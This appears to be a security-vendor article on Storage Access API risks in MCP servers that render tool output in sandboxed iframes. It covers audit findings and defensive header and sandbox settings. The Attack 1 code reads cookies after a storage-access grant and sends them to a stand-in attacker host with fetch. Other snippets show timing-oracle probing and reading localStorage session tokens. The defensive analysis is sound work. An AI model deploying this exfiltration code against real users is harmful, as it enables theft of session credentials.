MCP server security · Storage Access API · requestStorageAccess · third-party cookies · hasStorageAccess timing oracle · Permissions-Policy

MCP server Storage Access API security — third-party cookie access, requestStorageAccess() injection, hasStorageAccess() timing oracle

The Storage Access API (document.requestStorageAccess(), document.hasStorageAccess()) was introduced to give embedded third-party iframes a way to request access to their own first-party cookies in browsers that partition third-party storage. In MCP server deployments that render tool output in sandboxed iframes, the iframe origin's cookies and localStorage are partitioned — but requestStorageAccess() can request unpartitioned access. MCP tool output in a sandboxed iframe can trigger a browser permission prompt, use hasStorageAccess() as a session-existence timing oracle, and if storage access was previously granted, read the embedding origin's unpartitioned session tokens. The only architectural defense is Permissions-Policy: storage-access=().

How the Storage Access API works

Modern browsers (Safari ITP, Firefox ETP, Chrome Privacy Sandbox) partition third-party storage: cookies, localStorage, IndexedDB, and Cache API are isolated per top-level origin. An iframe from tool-renderer.example.com embedded in skillaudit.dev gets a separate storage partition from the same iframe embedded in other-app.com. This prevents cross-site tracking but also breaks legitimate use cases like SSO widgets and payment processors that need to read their own session cookies while embedded.

The Storage Access API provides an escape hatch: code inside an embedded iframe can call document.requestStorageAccess() to ask the browser for access to its unpartitioned first-party storage. The browser may show a permission prompt, or may grant access automatically if the user has previously visited the embedded origin as a top-level site. Once granted, the iframe reads its cookies as if it were a top-level page.

Attack 1: requestStorageAccess() permission prompt spam

MCP tool output in a sandboxed iframe can call document.requestStorageAccess() after capturing user activation, causing the browser to show a permission dialog. While the dialog will mention the embedded domain (not the MCP client domain), it can confuse users about what they are approving:

// Inside a sandboxed iframe rendering MCP tool output:
// Sandbox must include allow-storage-access-by-user-activation for this to work.
// Many sandboxed iframe configurations include this for legitimate embedded content.

document.addEventListener('click', async () => {
  try {
    // Requires user activation (click, key press):
    await document.requestStorageAccess();
    // If granted: this iframe now has access to its own unpartitioned cookies.
    // The embedded origin's sessionId, auth tokens stored in cookies are readable.
    // If the embedded origin (tool renderer) also holds credentials for other services,
    // those are now accessible.

    // After grant, read cookies:
    const cookies = document.cookie;
    // Send to attacker:
    fetch('https://attacker.example.com/collect?c=' + encodeURIComponent(cookies),
          { mode: 'no-cors' });
  } catch (e) {
    // Rejected: the browser denied access or no prior interaction with embedded origin
  }
});

// The attack: any user click inside the tool output area captures user activation.
// A transparent overlay in the iframe converts any click to a storage access request.
// The permission dialog says: "[embedded-origin] wants to use cookies and site data."
// Many users click Allow, especially if the embedded origin sounds familiar.

Attack 2: hasStorageAccess() as session timing oracle

document.hasStorageAccess() resolves immediately without user activation and reveals whether the embedded origin already has storage access granted. The resolution time correlates with cookie partition state and can probe session existence:

// No user activation required — resolves immediately:
const hasAccess = await document.hasStorageAccess();
// Returns true: user previously granted storage access to this iframe origin,
//               AND the grant has not expired, AND the origin has cookies set.
// Returns false: no prior grant or no cookies in unpartitioned storage.

// Timing difference reveals session state:
const start = performance.now();
const access = await document.hasStorageAccess();
const elapsed = performance.now() - start;

// Chrome: hasStorageAccess resolves in <1ms when clearly false (no prior grant)
//         hasStorageAccess takes ~5ms when checking actual cookie partition state
// This timing oracle reveals: "has this user ever granted storage access to [origin]"
// which is a proxy for "does this user have an active session at [origin]"

// More useful variant: document.requestStorageAccessFor(origin) (Chrome 119+)
// Allows top-level document to request storage access FOR a specific third-party origin.
// MCP tool output in the MAIN document could call this for attacker-controlled origins.
// Status: behind Origin Trial in Chrome, not yet widely available.

Storage access grants persist across sessions: In Chrome and Firefox, a storage access grant persists for 30 days or until the user clears site data. An MCP tool output that successfully tricks a user into granting storage access retains that access for all future sessions until the grant expires. The attack only needs to succeed once.

Attack 3: requestStorageAccess({ types: ['cookies', 'localStorage'] }) (Chrome 125+)

Chrome 125 introduced an extension allowing the caller to specify which storage types to request access to. This allows targeted access requests rather than the original all-or-nothing grant:

// Chrome 125+ extended Storage Access API:
await document.requestStorageAccess({ types: ['cookies', 'localStorage'] });

// After grant:
const sessionToken = localStorage.getItem('session_token');
// If the iframe origin stores auth tokens in localStorage (common for SPAs),
// they are now readable. This extends the attack from cookies to localStorage.

// The attack is particularly effective when:
// 1. The tool renderer is hosted on a subdomain of a popular service
// 2. The user has an active session at that top-level domain
// 3. The user has previously visited the tool renderer as a top-level page
//    (satisfying the "prior interaction" heuristic for auto-grant)
// In that case: no permission prompt is shown, access is auto-granted.

SkillAudit findings: Storage Access API in MCP server audits

HIGH −16
No Permissions-Policy: storage-access=() header — tool output in sandboxed iframes can call document.requestStorageAccess() to request third-party cookie access; persistent 30-day grant survives session termination
HIGH −14
Tool output iframe sandbox includes allow-storage-access-by-user-activation — necessary for legitimate embedded content but enables storage access attacks after any user click in the tool output area
MEDIUM −10
document.hasStorageAccess() not restricted — timing oracle for session existence probing; resolves in <1ms vs ~5ms depending on prior grant state; reveals whether user has active session at embedded origin
MEDIUM −8
Tool renderer origin stores session tokens in cookies or localStorage — if storage access is granted to the renderer origin, those tokens are accessible to injected code running in the renderer iframe
LOW −5
No monitoring of storage access permission grants in browser extension or CSP report-to endpoint — no visibility into when storage access is granted to embedded tool output iframes

Defenses

Permissions-Policy: storage-access=()

# Caddy — deny storage access API to all origins including same-origin iframes:
header Permissions-Policy "storage-access=()"

# Nginx:
add_header Permissions-Policy "storage-access=()" always;

# Express:
app.use((req, res, next) => {
  res.setHeader('Permissions-Policy', 'storage-access=()');
  next();
});

Sandbox without allow-storage-access-by-user-activation

<!-- Never include allow-storage-access-by-user-activation in tool output sandbox: -->
<iframe
  sandbox="allow-scripts"
  src="https://tool-renderer.skillaudit.dev/render">
<!-- Without allow-storage-access-by-user-activation, requestStorageAccess()
     throws immediately with a DOMException: NotAllowedError.
     hasStorageAccess() still resolves but always returns false inside a sandboxed iframe
     that doesn't have the allow-storage-access-by-user-activation token. -->
</iframe>

SkillAudit audits check for Permissions-Policy: storage-access header presence and allow-storage-access-by-user-activation tokens in iframe sandbox attributes. Run a free audit to check your MCP server's Storage Access API exposure. Related: CSP deep dive, CORS security.